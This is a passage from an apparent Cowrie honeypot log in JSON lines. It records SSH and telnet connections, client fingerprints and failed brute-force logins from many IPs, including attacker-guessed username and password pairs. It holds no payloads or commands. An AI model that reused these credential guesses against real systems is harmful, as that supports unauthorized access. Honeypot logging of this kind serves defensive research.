42:e0:4a:2f:97:f8:af:e1:31:a7:89:8a:92:e4:35:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.616825Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:e0:4a:2f:97:f8:af:e1:31:a7:89:8a:92:e4:35:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDhnghZ9PTLnZB5YpmrrT/wC8SBoId8TDvDXcCOlXrgCCnIJ4bi22y8rl2A2FS1c+unelHc46eeEKr1UwmYdp+9uOkKx1HdCn01worCBxIeU4rSXpYY3Zm3ObhuMu5LYlqjvOmEzRXs8frjCo7NYcR8wAJ4hEFS+oNGwoAIgMh49MdgH/YHRcOz+5x0oZ1ebTuvQZdVdxD4x3DGOpis3HJaqMMCuP66SrcpsWvPP27FUnATVG11hmo92x9hUWYzJZyaq7BBR6HLarcDNtXW2j8bOn4AjpJh0kYurPgg/jFgA8DFMRIwSYuub+wW5Qk7yW6apOOxw+6MO/ZS1FFh+Gvrzgtk76/JP0/HJsKITOyaRl3YZZmlX85HtnPhDE6JHXuJUucpmMDHc8NchKKicL8pjfcN4OTfC8OmAStoEZoa5lITUO7H1zkqZGJEg00OYefpCAhOy8dznmNIYadVz5izO3A/JQqfEvCnYeTNYWt6CU/K3TOekt1Bmt9wN3kT7+vzEjNFz6oBn3vLiUeA+LdsnNPzlcKZarS6F5YAlBwOASvSCX4Ceb3PmiXWNMuruqvZAjpwaVrPQgvEnKxh+srps4h9DLYZt1ZV6hm+uL0JJzWZ2nRnoKB+bsj7fXiAqr9MURVBriaBzyFSsHuCceNGHwIdsged7S9xDwxB77ezUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.620362Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:43:66:ea:a3:b6:e0:25:36:01:50:e8:bb:ea:f5:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmCImh5JkVln9D7Jg4WlJHDL/MebPiPO+PgnqjyclwRI5EPX9lvMyFUCix1FkpJVLxizCTRASn344DYPsWGumCkilI3FFHpLeCkyqr6oovgHgO5gZAOJTnmC3KypIt/tBX3c0dO52vhLbwO34W0g/RTOqjiAoQRuaMwza5An39EMHk66aD+orTQtrqfC04b0oYoL51JuZmFLPQ9IYEOg/zlFYtVkFA2lrqh+CYUiBx8igTqQ1rLZKC/BuKmJkyd+aPwHOWZhfPWJjxElZMshWV7Hg1Fy4wmZz+CY2k1uyonea01POcd2A4NPuHmkxnUiOer1lhZoSCcYGUNzT0PFIDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:43:66:ea:a3:b6:e0:25:36:01:50:e8:bb:ea:f5:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.691235Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:43:66:ea:a3:b6:e0:25:36:01:50:e8:bb:ea:f5:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmCImh5JkVln9D7Jg4WlJHDL/MebPiPO+PgnqjyclwRI5EPX9lvMyFUCix1FkpJVLxizCTRASn344DYPsWGumCkilI3FFHpLeCkyqr6oovgHgO5gZAOJTnmC3KypIt/tBX3c0dO52vhLbwO34W0g/RTOqjiAoQRuaMwza5An39EMHk66aD+orTQtrqfC04b0oYoL51JuZmFLPQ9IYEOg/zlFYtVkFA2lrqh+CYUiBx8igTqQ1rLZKC/BuKmJkyd+aPwHOWZhfPWJjxElZMshWV7Hg1Fy4wmZz+CY2k1uyonea01POcd2A4NPuHmkxnUiOer1lhZoSCcYGUNzT0PFIDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.695912Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:11.767146Z","src_ip":"74.48.46.197","session":"ce40ff5a4259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":37134,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f4801f23460","protocol":"ssh","message":"New connection: 138.99.80.102:37134 (159.203.135.109:22) [session: 9f4801f23460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:33.915785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:33.922098Z","src_ip":"138.99.80.102","session":"9f4801f23460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:34.036777Z","src_ip":"138.99.80.102","session":"9f4801f23460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:34.529253Z","src_ip":"138.99.80.102","session":"9f4801f23460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:35.649823Z","src_ip":"138.99.80.102","session":"9f4801f23460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00670075416565,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:46.934154Z","src_ip":"78.174.100.105","session":"727d2f80d279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":34694,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ceaf111abf","protocol":"ssh","message":"New connection: 144.91.86.102:34694 (10.17.0.5:22) [session: c6ceaf111abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:59.383898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:59.388956Z","src_ip":"144.91.86.102","session":"c6ceaf111abf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:59.493668Z","src_ip":"144.91.86.102","session":"c6ceaf111abf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:46:59.911735Z","src_ip":"144.91.86.102","session":"c6ceaf111abf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:01.007730Z","src_ip":"144.91.86.102","session":"c6ceaf111abf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cf536ade14a","protocol":"ssh","message":"New connection: 36.95.194.51:36800 (159.203.135.109:22) [session: 9cf536ade14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:06.620597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:06.625473Z","src_ip":"36.95.194.51","session":"9cf536ade14a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:06.910490Z","src_ip":"36.95.194.51","session":"9cf536ade14a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:08.080603Z","src_ip":"36.95.194.51","session":"9cf536ade14a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:09.377077Z","src_ip":"36.95.194.51","session":"9cf536ade14a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":42102,"dst_ip":"159.203.135.109","dst_port":22,"session":"1659ad73587a","protocol":"ssh","message":"New connection: 200.108.174.4:42102 (159.203.135.109:22) [session: 1659ad73587a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:15.312087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:15.317488Z","src_ip":"200.108.174.4","session":"1659ad73587a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:15.462836Z","src_ip":"200.108.174.4","session":"1659ad73587a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:16.075240Z","src_ip":"200.108.174.4","session":"1659ad73587a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:17.222556Z","src_ip":"200.108.174.4","session":"1659ad73587a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":58438,"dst_ip":"10.17.0.5","dst_port":23,"session":"6535e939c35d","protocol":"telnet","message":"New connection: 167.71.238.254:58438 (10.17.0.5:23) [session: 6535e939c35d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:25.284033Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.232.25.117","src_port":53755,"dst_ip":"159.203.135.109","dst_port":23,"session":"13da850272d3","protocol":"telnet","message":"New connection: 94.232.25.117:53755 (159.203.135.109:23) [session: 13da850272d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:42.908164Z"}
{"eventid":"cowrie.session.closed","duration":19.405150413513184,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:44.689053Z","src_ip":"167.71.238.254","session":"6535e939c35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.444586038589478,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:56.352653Z","src_ip":"94.232.25.117","session":"13da850272d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":46754,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5205b20e60d","protocol":"ssh","message":"New connection: 46.165.56.242:46754 (159.203.135.109:22) [session: b5205b20e60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:58.602871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:58.608285Z","src_ip":"46.165.56.242","session":"b5205b20e60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:47:58.758951Z","src_ip":"46.165.56.242","session":"b5205b20e60d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:00.081288Z","src_ip":"46.165.56.242","session":"b5205b20e60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:01.233831Z","src_ip":"46.165.56.242","session":"b5205b20e60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":44106,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a8459d75548","protocol":"ssh","message":"New connection: 138.99.80.102:44106 (159.203.135.109:22) [session: 1a8459d75548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:16.522804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:16.527377Z","src_ip":"138.99.80.102","session":"1a8459d75548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:16.633554Z","src_ip":"138.99.80.102","session":"1a8459d75548","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:17.092938Z","src_ip":"138.99.80.102","session":"1a8459d75548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:18.203510Z","src_ip":"138.99.80.102","session":"1a8459d75548","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":36474,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a43408cc3bb","protocol":"ssh","message":"New connection: 144.91.86.102:36474 (10.17.0.5:22) [session: 1a43408cc3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:38.671300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:38.675698Z","src_ip":"144.91.86.102","session":"1a43408cc3bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 